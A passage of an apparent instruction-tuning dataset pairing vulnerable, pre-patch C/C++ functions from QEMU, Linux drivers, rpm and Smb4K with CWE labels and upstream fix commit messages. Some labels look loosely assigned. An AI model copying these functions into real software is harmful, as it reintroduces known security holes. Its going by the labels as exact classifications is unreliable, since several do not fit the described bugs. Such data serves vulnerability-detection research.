cirrus_do_copy(CirrusVGAState *s, int dst, int src, int w, int h)\n{\n int sx = 0, sy = 0;\n int dx = 0, dy = 0;\n int depth = 0;\n int notify = 0;\n\n /* make sure to only copy if it's a plain copy ROP */\n if (*s->cirrus_rop == cirrus_bitblt_rop_fwd_src ||\n *s->cirrus_rop == cirrus_bitblt_rop_bkwd_src) {\n\n int width, height;\n\n depth = s->vga.get_bpp(&s->vga) / 8;\n if (!depth) {\n return 0;\n }\n s->vga.get_resolution(&s->vga, &width, &height);\n\n /* extra x, y */\n sx = (src % ABS(s->cirrus_blt_srcpitch)) / depth;\n sy = (src / ABS(s->cirrus_blt_srcpitch));\n dx = (dst % ABS(s->cirrus_blt_dstpitch)) / depth;\n dy = (dst / ABS(s->cirrus_blt_dstpitch));\n\n /* normalize width */\n w /= depth;\n\n /* if we're doing a backward copy, we have to adjust\n our x/y to be the upper left corner (instead of the lower\n right corner) */\n if (s->cirrus_blt_dstpitch < 0) {\n sx -= (s->cirrus_blt_width / depth) - 1;\n dx -= (s->cirrus_blt_width / depth) - 1;\n sy -= s->cirrus_blt_height - 1;\n dy -= s->cirrus_blt_height - 1;\n }\n\n /* are we in the visible portion of memory? */\n if (sx >= 0 && sy >= 0 && dx >= 0 && dy >= 0 &&\n (sx + w) <= width && (sy + h) <= height &&\n (dx + w) <= width && (dy + h) <= height) {\n notify = 1;\n }\n }\n\n (*s->cirrus_rop) (s, s->cirrus_blt_dstaddr,\n s->vga.vram_ptr + s->cirrus_blt_srcaddr,\n\t\t s->cirrus_blt_dstpitch, s->cirrus_blt_srcpitch,\n\t\t s->cirrus_blt_width, s->cirrus_blt_height);\n\n if (notify) {\n dpy_gfx_update(s->vga.con, dx, dy,\n s->cirrus_blt_width / depth,\n s->cirrus_blt_height);\n }\n\n /* we don't have to notify the display that this portion has\n changed since qemu_console_copy implies this */\n\n cirrus_invalidate_region(s, s->cirrus_blt_dstaddr,\n\t\t\t\ts->cirrus_blt_dstpitch, s->cirrus_blt_width,\n\t\t\t\ts->cirrus_blt_height);\n\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'cirrus: stop passing around src pointers in the blitter\n\nDoes basically the same as \"cirrus: stop passing around dst pointers in\nthe blitter\", just for the src pointer instead of the dst pointer.\n\nFor the src we have to care about cputovideo blits though and fetch the\ndata from s->cirrus_bltbuf instead of vga memory. The cirrus_src*()\nhelper functions handle that.\n\nSigned-off-by: Gerd Hoffmann \nMessage-id: 1489584487-3489-1-git-send-email-kraxel@redhat.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int cp2112_gpio_direction_input(struct gpio_chip *chip, unsigned offset)\n{\n\tstruct cp2112_device *dev = gpiochip_get_data(chip);\n\tstruct hid_device *hdev = dev->hdev;\n\tu8 *buf = dev->in_out_buffer;\n\tunsigned long flags;\n\tint ret;\n\n\tspin_lock_irqsave(&dev->lock, flags);\n\n\tret = hid_hw_raw_request(hdev, CP2112_GPIO_CONFIG, buf,\n\t\t\t\t CP2112_GPIO_CONFIG_LENGTH, HID_FEATURE_REPORT,\n\t\t\t\t HID_REQ_GET_REPORT);\n\tif (ret != CP2112_GPIO_CONFIG_LENGTH) {\n\t\thid_err(hdev, \"error requesting GPIO config: %d\\n\", ret);\n\t\tgoto exit;\n\t}\n\n\tbuf[1] &= ~(1 << offset);\n\tbuf[2] = gpio_push_pull;\n\n\tret = hid_hw_raw_request(hdev, CP2112_GPIO_CONFIG, buf,\n\t\t\t\t CP2112_GPIO_CONFIG_LENGTH, HID_FEATURE_REPORT,\n\t\t\t\t HID_REQ_SET_REPORT);\n\tif (ret < 0) {\n\t\thid_err(hdev, \"error setting GPIO config: %d\\n\", ret);\n\t\tgoto exit;\n\t}\n\n\tret = 0;\n\nexit:\n\tspin_unlock_irqrestore(&dev->lock, flags);\n\treturn ret <= 0 ? ret : -EIO;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-404', 'CWE-703'], 'message': 'HID: cp2112: fix sleep-while-atomic\n\nA recent commit fixing DMA-buffers on stack added a shared transfer\nbuffer protected by a spinlock. This is broken as the USB HID request\ncallbacks can sleep. Fix this up by replacing the spinlock with a mutex.\n\nFixes: 1ffb3c40ffb5 (\"HID: cp2112: make transfer buffers DMA capable\")\nCc: stable \t# 4.9\nSigned-off-by: Johan Hovold \nReviewed-by: Benjamin Tissoires \nSigned-off-by: Jiri Kosina '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int usb_cypress_load_firmware(struct usb_device *udev, const struct firmware *fw, int type)\n{\n\tstruct hexline *hx;\n\tu8 reset;\n\tint ret,pos=0;\n\n\thx = kmalloc(sizeof(*hx), GFP_KERNEL);\n\tif (!hx)\n\t\treturn -ENOMEM;\n\n\t/* stop the CPU */\n\treset = 1;\n\tif ((ret = usb_cypress_writemem(udev,cypress[type].cpu_cs_register,&reset,1)) != 1)\n\t\terr(\"could not stop the USB controller CPU.\");\n\n\twhile ((ret = dvb_usb_get_hexline(fw, hx, &pos)) > 0) {\n\t\tdeb_fw(\"writing to address 0x%04x (buffer: 0x%02x %02x)\\n\", hx->addr, hx->len, hx->chk);\n\t\tret = usb_cypress_writemem(udev, hx->addr, hx->data, hx->len);\n\n\t\tif (ret != hx->len) {\n\t\t\terr(\"error while transferring firmware (transferred size: %d, block size: %d)\",\n\t\t\t\tret, hx->len);\n\t\t\tret = -EINVAL;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (ret < 0) {\n\t\terr(\"firmware download failed at %d with %d\",pos,ret);\n\t\tkfree(hx);\n\t\treturn ret;\n\t}\n\n\tif (ret == 0) {\n\t\t/* restart the CPU */\n\t\treset = 0;\n\t\tif (ret || usb_cypress_writemem(udev,cypress[type].cpu_cs_register,&reset,1) != 1) {\n\t\t\terr(\"could not restart the USB controller CPU.\");\n\t\t\tret = -EINVAL;\n\t\t}\n\t} else\n\t\tret = -EIO;\n\n\tkfree(hx);\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': '[media] dvb-usb-firmware: don't do DMA on stack\n\nThe buffer allocation for the firmware data was changed in\ncommit 43fab9793c1f (\"[media] dvb-usb: don't use stack for firmware load\")\nbut the same applies for the reset value.\n\nFixes: 43fab9793c1f (\"[media] dvb-usb: don't use stack for firmware load\")\nCc: stable@vger.kernel.org\nSigned-off-by: Stefan Br\u00fcns \nSigned-off-by: Mauro Carvalho Chehab '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int get_registers(rtl8150_t * dev, u16 indx, u16 size, void *data)\n{\n\treturn usb_control_msg(dev->udev, usb_rcvctrlpipe(dev->udev, 0),\n\t\t\t RTL8150_REQ_GET_REGS, RTL8150_REQT_READ,\n\t\t\t indx, 0, data, size, 500);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'rtl8150: Use heap buffers for all register access\n\nAllocating USB buffers on the stack is not portable, and no longer\nworks on x86_64 (with VMAP_STACK enabled as per default).\n\nFixes: 1da177e4c3f4 (\"Linux-2.6.12-rc2\")\nSigned-off-by: Ben Hutchings \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int rxrpc_krb5_decode_tagged_data(struct krb5_tagged_data *td,\n\t\t\t\t\t size_t max_data_size,\n\t\t\t\t\t const __be32 **_xdr,\n\t\t\t\t\t unsigned int *_toklen)\n{\n\tconst __be32 *xdr = *_xdr;\n\tunsigned int toklen = *_toklen, len;\n\n\t/* there must be at least one tag and one length word */\n\tif (toklen <= 8)\n\t\treturn -EINVAL;\n\n\t_enter(\",%zu,{%x,%x},%u\",\n\t max_data_size, ntohl(xdr[0]), ntohl(xdr[1]), toklen);\n\n\ttd->tag = ntohl(*xdr++);\n\tlen = ntohl(*xdr++);\n\ttoklen -= 8;\n\tif (len > max_data_size)\n\t\treturn -EINVAL;\n\ttd->data_len = len;\n\n\tif (len > 0) {\n\t\ttd->data = kmemdup(xdr, len, GFP_KERNEL);\n\t\tif (!td->data)\n\t\t\treturn -ENOMEM;\n\t\tlen = (len + 3) & ~3;\n\t\ttoklen -= len;\n\t\txdr += len >> 2;\n\t}\n\n\t_debug(\"tag %x len %x\", td->tag, td->data_len);\n\n\t*_xdr = xdr;\n\t*_toklen = toklen;\n\t_leave(\" = 0 [toklen=%u]\", toklen);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'rxrpc: Fix several cases where a padded len isn't checked in ticket decode\n\nThis fixes CVE-2017-7482.\n\nWhen a kerberos 5 ticket is being decoded so that it can be loaded into an\nrxrpc-type key, there are several places in which the length of a\nvariable-length field is checked to make sure that it's not going to\noverrun the available data - but the data is padded to the nearest\nfour-byte boundary and the code doesn't check for this extra. This could\nlead to the size-remaining variable wrapping and the data pointer going\nover the end of the buffer.\n\nFix this by making the various variable-length data checks use the padded\nlength.\n\nReported-by: \u77f3\u78ca \nSigned-off-by: David Howells \nReviewed-by: Marc Dionne \nReviewed-by: Dan Carpenter \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ActionReply Smb4KMountHelper::unmount(const QVariantMap &args)\n{\n ActionReply reply;\n // The mountpoint is a unique and can be used to\n // find the share.\n reply.addData(\"mh_mountpoint\", args[\"mh_mountpoint\"]);\n\n // Check if the mountpoint is valid and the file system is\n // also correct.\n bool mountpoint_ok = false;\n KMountPoint::List mountpoints = KMountPoint::currentMountPoints(KMountPoint::BasicInfoNeeded|KMountPoint::NeedMountOptions);\n\n for(int j = 0; j < mountpoints.size(); j++)\n {\n#ifdef Q_OS_LINUX\n if (QString::compare(args[\"mh_mountpoint\"].toString(),\n mountpoints.at(j)->mountPoint(), Qt::CaseInsensitive) == 0 &&\n QString::compare(mountpoints.at(j)->mountType(), \"cifs\", Qt::CaseInsensitive) == 0)\n#else\n if (QString::compare(args[\"mh_mountpoint\"].toString(),\n mountpoints.at(j)->mountPoint(), Qt::CaseInsensitive) == 0 &&\n QString::compare(mountpoints.at(j)->mountType(), \"smbfs\", Qt::CaseInsensitive) == 0)\n#endif\n {\n mountpoint_ok = true;\n break;\n }\n else\n {\n continue;\n }\n }\n\n if (!mountpoint_ok)\n {\n reply.setErrorCode(ActionReply::HelperError);\n reply.setErrorDescription(i18n(\"The mountpoint is invalid.\"));\n return reply;\n }\n else\n {\n // Do nothing\n }\n\n KProcess proc(this);\n proc.setOutputChannelMode(KProcess::SeparateChannels);\n proc.setProcessEnvironment(QProcessEnvironment::systemEnvironment());\n \n // Set the umount command here.\n QStringList command;\n command << args[\"mh_command\"].toString();\n command << args[\"mh_options\"].toStringList();\n command << args[\"mh_mountpoint\"].toString();\n\n proc.setProgram(command);\n\n // Run the unmount process.\n proc.start();\n\n if (proc.waitForStarted(-1))\n {\n // We want to be able to terminate the process from outside.\n // Thus, we implement a loop that checks periodically, if we\n // need to kill the process.\n bool user_kill = false;\n\n while (!proc.waitForFinished(10))\n {\n if (HelperSupport::isStopped())\n {\n proc.kill();\n user_kill = true;\n break;\n }\n else\n {\n // Do nothing\n }\n }\n\n if (proc.exitStatus() == KProcess::CrashExit)\n {\n if (!user_kill)\n {\n reply.setErrorCode(ActionReply::HelperError);\n reply.setErrorDescription(i18n(\"The unmount process crashed.\"));\n return reply;\n }\n else\n {\n // Do nothing\n }\n }\n else\n {\n // Check if there is output on stderr.\n QString stdErr = QString::fromUtf8(proc.readAllStandardError());\n reply.addData(\"mh_error_message\", stdErr.trimmed());\n }\n }\n else\n {\n reply.setErrorCode(ActionReply::HelperError);\n reply.setErrorDescription(i18n(\"The unmount process could not be started.\"));\n }\n\n return reply;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Find the mount/umount commands in the helper\n\nInstead of trusting what we get passed in\nCVE-2017-8849'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct sock *inet_csk_clone_lock(const struct sock *sk,\n\t\t\t\t const struct request_sock *req,\n\t\t\t\t const gfp_t priority)\n{\n\tstruct sock *newsk = sk_clone_lock(sk, priority);\n\n\tif (newsk) {\n\t\tstruct inet_connection_sock *newicsk = inet_csk(newsk);\n\n\t\tnewsk->sk_state = TCP_SYN_RECV;\n\t\tnewicsk->icsk_bind_hash = NULL;\n\n\t\tinet_sk(newsk)->inet_dport = inet_rsk(req)->ir_rmt_port;\n\t\tinet_sk(newsk)->inet_num = inet_rsk(req)->ir_num;\n\t\tinet_sk(newsk)->inet_sport = htons(inet_rsk(req)->ir_num);\n\t\tnewsk->sk_write_space = sk_stream_write_space;\n\n\t\t/* listeners have SOCK_RCU_FREE, not the children */\n\t\tsock_reset_flag(newsk, SOCK_RCU_FREE);\n\n\t\tnewsk->sk_mark = inet_rsk(req)->ir_mark;\n\t\tatomic64_set(&newsk->sk_cookie,\n\t\t\t atomic64_read(&inet_rsk(req)->ir_cookie));\n\n\t\tnewicsk->icsk_retransmits = 0;\n\t\tnewicsk->icsk_backoff\t = 0;\n\t\tnewicsk->icsk_probes_out = 0;\n\n\t\t/* Deinitialize accept_queue to trap illegal accesses. */\n\t\tmemset(&newicsk->icsk_accept_queue, 0, sizeof(newicsk->icsk_accept_queue));\n\n\t\tsecurity_inet_csk_clone(newsk, req);\n\t}\n\treturn newsk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200', 'CWE-415'], 'message': 'dccp/tcp: do not inherit mc_list from parent\n\nsyzkaller found a way to trigger double frees from ip_mc_drop_socket()\n\nIt turns out that leave a copy of parent mc_list at accept() time,\nwhich is very bad.\n\nVery similar to commit 8b485ce69876 (\"tcp: do not inherit\nfastopen_req from parent\")\n\nInitial report from Pray3r, completed by Andrey one.\nThanks a lot to them !\n\nSigned-off-by: Eric Dumazet \nReported-by: Pray3r \nReported-by: Andrey Konovalov \nTested-by: Andrey Konovalov \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int omninet_open(struct tty_struct *tty, struct usb_serial_port *port)\n{\n\tstruct usb_serial\t*serial = port->serial;\n\tstruct usb_serial_port\t*wport;\n\n\twport = serial->port[1];\n\ttty_port_tty_set(&wport->port, tty);\n\n\treturn usb_serial_generic_open(tty, port);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-404'], 'message': 'USB: serial: omninet: fix reference leaks at open\n\nThis driver needlessly took another reference to the tty on open, a\nreference which was then never released on close. This lead to not just\na leak of the tty, but also a driver reference leak that prevented the\ndriver from being unloaded after a port had once been opened.\n\nFixes: 4a90f09b20f4 (\"tty: usb-serial krefs\")\nCc: stable \t# 2.6.28\nSigned-off-by: Johan Hovold '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int rpmPackageFilesInstall(rpmts ts, rpmte te, rpmfiles files,\n rpmpsm psm, char ** failedFile)\n{\n FD_t payload = rpmtePayload(te);\n rpmfi fi = rpmfiNewArchiveReader(payload, files, RPMFI_ITER_READ_ARCHIVE);\n rpmfs fs = rpmteGetFileStates(te);\n rpmPlugins plugins = rpmtsPlugins(ts);\n struct stat sb;\n int saveerrno = errno;\n int rc = 0;\n int nodigest = (rpmtsFlags(ts) & RPMTRANS_FLAG_NOFILEDIGEST) ? 1 : 0;\n int nofcaps = (rpmtsFlags(ts) & RPMTRANS_FLAG_NOCAPS) ? 1 : 0;\n int firsthardlink = -1;\n int skip;\n rpmFileAction action;\n char *tid = NULL;\n const char *suffix;\n char *fpath = NULL;\n\n if (fi == NULL) {\n\trc = RPMERR_BAD_MAGIC;\n\tgoto exit;\n }\n\n /* transaction id used for temporary path suffix while installing */\n rasprintf(&tid, \";%08x\", (unsigned)rpmtsGetTid(ts));\n\n /* Detect and create directories not explicitly in package. */\n rc = fsmMkdirs(files, fs, plugins);\n\n while (!rc) {\n\t/* Read next payload header. */\n\trc = rpmfiNext(fi);\n\n\tif (rc < 0) {\n\t if (rc == RPMERR_ITER_END)\n\t\trc = 0;\n\t break;\n\t}\n\n\taction = rpmfsGetAction(fs, rpmfiFX(fi));\n\tskip = XFA_SKIPPING(action);\n\tsuffix = S_ISDIR(rpmfiFMode(fi)) ? NULL : tid;\n\tif (action != FA_TOUCH) {\n\t fpath = fsmFsPath(fi, suffix);\n\t} else {\n\t fpath = fsmFsPath(fi, \"\");\n\t}\n\n\t/* Remap file perms, owner, and group. */\n\trc = rpmfiStat(fi, 1, &sb);\n\n\tfsmDebug(fpath, action, &sb);\n\n /* Exit on error. */\n if (rc)\n break;\n\n\t/* Run fsm file pre hook for all plugins */\n\trc = rpmpluginsCallFsmFilePre(plugins, fi, fpath,\n\t\t\t\t sb.st_mode, action);\n\tif (rc) {\n\t skip = 1;\n\t} else {\n\t setFileState(fs, rpmfiFX(fi));\n\t}\n\n if (!skip) {\n\t int setmeta = 1;\n\n\t /* Directories replacing something need early backup */\n\t if (!suffix) {\n\t\trc = fsmBackup(fi, action);\n\t }\n\t /* Assume file does't exist when tmp suffix is in use */\n\t if (!suffix) {\n\t\trc = fsmVerify(fpath, fi);\n\t } else {\n\t\trc = (action == FA_TOUCH) ? 0 : RPMERR_ENOENT;\n\t }\n\n if (S_ISREG(sb.st_mode)) {\n\t\tif (rc == RPMERR_ENOENT) {\n\t\t rc = fsmMkfile(fi, fpath, files, psm, nodigest,\n\t\t\t\t &setmeta, &firsthardlink);\n\t\t}\n } else if (S_ISDIR(sb.st_mode)) {\n if (rc == RPMERR_ENOENT) {\n mode_t mode = sb.st_mode;\n mode &= ~07777;\n mode |= 00700;\n rc = fsmMkdir(fpath, mode);\n }\n } else if (S_ISLNK(sb.st_mode)) {\n\t\tif (rc == RPMERR_ENOENT) {\n\t\t rc = fsmSymlink(rpmfiFLink(fi), fpath);\n\t\t}\n } else if (S_ISFIFO(sb.st_mode)) {\n /* This mimics cpio S_ISSOCK() behavior but probably isn't right */\n if (rc == RPMERR_ENOENT) {\n rc = fsmMkfifo(fpath, 0000);\n }\n } else if (S_ISCHR(sb.st_mode) ||\n S_ISBLK(sb.st_mode) ||\n S_ISSOCK(sb.st_mode))\n {\n if (rc == RPMERR_ENOENT) {\n rc = fsmMknod(fpath, sb.st_mode, sb.st_rdev);\n }\n } else {\n /* XXX Special case /dev/log, which shouldn't be packaged anyways */\n if (!IS_DEV_LOG(fpath))\n rc = RPMERR_UNKNOWN_FILETYPE;\n }\n\t /* Set permissions, timestamps etc for non-hardlink entries */\n\t if (!rc && setmeta) {\n\t\trc = fsmSetmeta(fpath, fi, plugins, action, &sb, nofcaps);\n\t }\n } else if (firsthardlink >= 0 && rpmfiArchiveHasContent(fi)) {\n\t /* we skip the hard linked file containing the content */\n\t /* write the content to the first used instead */\n\t char *fn = rpmfilesFN(files, firsthardlink);\n\t rc = expandRegular(fi, fn, psm, nodigest, 0);\n\t firsthardlink = -1;\n\t free(fn);\n\t}\n\n if (rc) {\n if (!skip) {\n /* XXX only erase if temp fn w suffix is in use */\n if (suffix && (action != FA_TOUCH)) {\n\t\t (void) fsmRemove(fpath, sb.st_mode);\n }\n errno = saveerrno;\n }\n } else {\n\t /* Notify on success. */\n\t rpmpsmNotify(psm, RPMCALLBACK_INST_PROGRESS, rpmfiArchiveTell(fi));\n\n\t if (!skip) {\n\t\t/* Backup file if needed. Directories are handled earlier */\n\t\tif (suffix)\n\t\t rc = fsmBackup(fi, action);\n\n\t\tif (!rc)\n\t\t rc = fsmCommit(&fpath, fi, action, suffix);\n\t }\n\t}\n\n\tif (rc)\n\t *failedFile = xstrdup(fpath);\n\n\t/* Run fsm file post hook for all plugins */\n\trpmpluginsCallFsmFilePost(plugins, fi, fpath,\n\t\t\t\t sb.st_mode, action, rc);\n\tfpath = _free(fpath);\n }\n\n rpmswAdd(rpmtsOp(ts, RPMTS_OP_UNCOMPRESS), fdOp(payload, FDSTAT_READ));\n rpmswAdd(rpmtsOp(ts, RPMTS_OP_DIGEST), fdOp(payload, FDSTAT_DIGEST));\n\nexit:\n\n /* No need to bother with close errors on read */\n rpmfiArchiveClose(fi);\n rpmfiFree(fi);\n Fclose(payload);\n free(tid);\n free(fpath);\n\n return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'Don't follow symlinks on file creation (CVE-2017-7501)\n\nOpen newly created files with O_EXCL to prevent symlink tricks.\nWhen reopening hardlinks for writing the actual content, use append\nmode instead. This is compatible with the write-only permissions but\nis not destructive in case we got redirected to somebody elses file,\nverify the target before actually writing anything.\n\nAs these are files with the temporary suffix, errors mean a local\nuser with sufficient privileges to break the installation of the package\nanyway is trying to goof us on purpose, don't bother trying to mend it\n(we couldn't fix the hardlink case anyhow) but just bail out.\n\nBased on a patch by Florian Festi.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct sock *dccp_v6_request_recv_sock(const struct sock *sk,\n\t\t\t\t\t struct sk_buff *skb,\n\t\t\t\t\t struct request_sock *req,\n\t\t\t\t\t struct dst_entry *dst,\n\t\t\t\t\t struct request_sock *req_unhash,\n\t\t\t\t\t bool *own_req)\n{\n\tstruct inet_request_sock *ireq = inet_rsk(req);\n\tstruct ipv6_pinfo *newnp;\n\tconst struct ipv6_pinfo *np = inet6_sk(sk);\n\tstruct ipv6_txoptions *opt;\n\tstruct inet_sock *newinet;\n\tstruct dccp6_sock *newdp6;\n\tstruct sock *newsk;\n\n\tif (skb->protocol == htons(ETH_P_IP)) {\n\t\t/*\n\t\t *\tv6 mapped\n\t\t */\n\t\tnewsk = dccp_v4_request_recv_sock(sk, skb, req, dst,\n\t\t\t\t\t\t req_unhash, own_req);\n\t\tif (newsk == NULL)\n\t\t\treturn NULL;\n\n\t\tnewdp6 = (struct dccp6_sock *)newsk;\n\t\tnewinet = inet_sk(newsk);\n\t\tnewinet->pinet6 = &newdp6->inet6;\n\t\tnewnp = inet6_sk(newsk);\n\n\t\tmemcpy(newnp, np, sizeof(struct ipv6_pinfo));\n\n\t\tnewnp->saddr = newsk->sk_v6_rcv_saddr;\n\n\t\tinet_csk(newsk)->icsk_af_ops = &dccp_ipv6_mapped;\n\t\tnewsk->sk_backlog_rcv = dccp_v4_do_rcv;\n\t\tnewnp->pktoptions = NULL;\n\t\tnewnp->opt\t = NULL;\n\t\tnewnp->mcast_oif = inet6_iif(skb);\n\t\tnewnp->mcast_hops = ipv6_hdr(skb)->hop_limit;\n\n\t\t/*\n\t\t * No need to charge this sock to the relevant IPv6 refcnt debug socks count\n\t\t * here, dccp_create_openreq_child now does this for us, see the comment in\n\t\t * that function for the gory details. -acme\n\t\t */\n\n\t\t/* It is tricky place. Until this moment IPv4 tcp\n\t\t worked with IPv6 icsk.icsk_af_ops.\n\t\t Sync it now.\n\t\t */\n\t\tdccp_sync_mss(newsk, inet_csk(newsk)->icsk_pmtu_cookie);\n\n\t\treturn newsk;\n\t}\n\n\n\tif (sk_acceptq_is_full(sk))\n\t\tgoto out_overflow;\n\n\tif (!dst) {\n\t\tstruct flowi6 fl6;\n\n\t\tdst = inet6_csk_route_req(sk, &fl6, req, IPPROTO_DCCP);\n\t\tif (!dst)\n\t\t\tgoto out;\n\t}\n\n\tnewsk = dccp_create_openreq_child(sk, req, skb);\n\tif (newsk == NULL)\n\t\tgoto out_nonewsk;\n\n\t/*\n\t * No need to charge this sock to the relevant IPv6 refcnt debug socks\n\t * count here, dccp_create_openreq_child now does this for us, see the\n\t * comment in that function for the gory details. -acme\n\t */\n\n\tip6_dst_store(newsk, dst, NULL, NULL);\n\tnewsk->sk_route_caps = dst->dev->features & ~(NETIF_F_IP_CSUM |\n\t\t\t\t\t\t NETIF_F_TSO);\n\tnewdp6 = (struct dccp6_sock *)newsk;\n\tnewinet = inet_sk(newsk);\n\tnewinet->pinet6 = &newdp6->inet6;\n\tnewnp = inet6_sk(newsk);\n\n\tmemcpy(newnp, np, sizeof(struct ipv6_pinfo));\n\n\tnewsk->sk_v6_daddr\t= ireq->ir_v6_rmt_addr;\n\tnewnp->saddr\t\t= ireq->ir_v6_loc_addr;\n\tnewsk->sk_v6_rcv_saddr\t= ireq->ir_v6_loc_addr;\n\tnewsk->sk_bound_dev_if\t= ireq->ir_iif;\n\n\t/* Now IPv6 options...\n\n\t First: no IPv4 options.\n\t */\n\tnewinet->inet_opt = NULL;\n\n\t/* Clone RX bits */\n\tnewnp->rxopt.all = np->rxopt.all;\n\n\tnewnp->pktoptions = NULL;\n\tnewnp->opt\t = NULL;\n\tnewnp->mcast_oif = inet6_iif(skb);\n\tnewnp->mcast_hops = ipv6_hdr(skb)->hop_limit;\n\n\t/*\n\t * Clone native IPv6 options from listening socket (if any)\n\t *\n\t * Yes, keeping reference count would be much more clever, but we make\n\t * one more one thing there: reattach optmem to newsk.\n\t */\n\topt = ireq->ipv6_opt;\n\tif (!opt)\n\t\topt = rcu_dereference(np->opt);\n\tif (opt) {\n\t\topt = ipv6_dup_options(newsk, opt);\n\t\tRCU_INIT_POINTER(newnp->opt, opt);\n\t}\n\tinet_csk(newsk)->icsk_ext_hdr_len = 0;\n\tif (opt)\n\t\tinet_csk(newsk)->icsk_ext_hdr_len = opt->opt_nflen +\n\t\t\t\t\t\t opt->opt_flen;\n\n\tdccp_sync_mss(newsk, dst_mtu(dst));\n\n\tnewinet->inet_daddr = newinet->inet_saddr = LOOPBACK4_IPV6;\n\tnewinet->inet_rcv_saddr = LOOPBACK4_IPV6;\n\n\tif (__inet_inherit_port(sk, newsk) < 0) {\n\t\tinet_csk_prepare_forced_close(newsk);\n\t\tdccp_done(newsk);\n\t\tgoto out;\n\t}\n\t*own_req = inet_ehash_nolisten(newsk, req_to_sk(req_unhash));\n\t/* Clone pktoptions received with SYN, if we own the req */\n\tif (*own_req && ireq->pktopts) {\n\t\tnewnp->pktoptions = skb_clone(ireq->pktopts, GFP_ATOMIC);\n\t\tconsume_skb(ireq->pktopts);\n\t\tireq->pktopts = NULL;\n\t\tif (newnp->pktoptions)\n\t\t\tskb_set_owner_r(newnp->pktoptions, newsk);\n\t}\n\n\treturn newsk;\n\nout_overflow:\n\t__NET_INC_STATS(sock_net(sk), LINUX_MIB_LISTENOVERFLOWS);\nout_nonewsk:\n\tdst_release(dst);\nout:\n\t__NET_INC_STATS(sock_net(sk), LINUX_MIB_LISTENDROPS);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-241'], 'message': 'ipv6/dccp: do not inherit ipv6_mc_list from parent\n\nLike commit 657831ffc38e (\"dccp/tcp: do not inherit mc_list from parent\")\nwe should clear ipv6_mc_list etc. for IPv6 sockets too.\n\nCc: Eric Dumazet \nSigned-off-by: Cong Wang \nAcked-by: Eric Dumazet \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: run_cmd(int fd, ...)\n{\n\tpid_t pid;\n\tsigset_t sigm, sigm_old;\n\n\t/* block signals, let child establish its own handlers */\n\tsigemptyset(&sigm);\n\tsigaddset(&sigm, SIGTERM);\n\tsigprocmask(SIG_BLOCK, &sigm, &sigm_old);\n\n\tpid = fork();\n\tif ( pid < 0 ) {\n\t\tsigprocmask(SIG_SETMASK, &sigm_old, NULL);\n\t\tfd_printf(STO, \"*** cannot fork: %s ***\\r\\n\", strerror(errno));\n\t\treturn -1;\n\t} else if ( pid ) {\n\t\t/* father: picocom */\n\t\tint status, r;\n\n\t\t/* reset the mask */\n\t\tsigprocmask(SIG_SETMASK, &sigm_old, NULL);\n\t\t/* wait for child to finish */\n\t\tdo {\n\t\t\tr = waitpid(pid, &status, 0);\n\t\t} while ( r < 0 && errno == EINTR );\n\t\t/* reset terminal (back to raw mode) */\n\t\tterm_apply(STI);\n\t\t/* check and report child return status */\n\t\tif ( WIFEXITED(status) ) { \n\t\t\tfd_printf(STO, \"\\r\\n*** exit 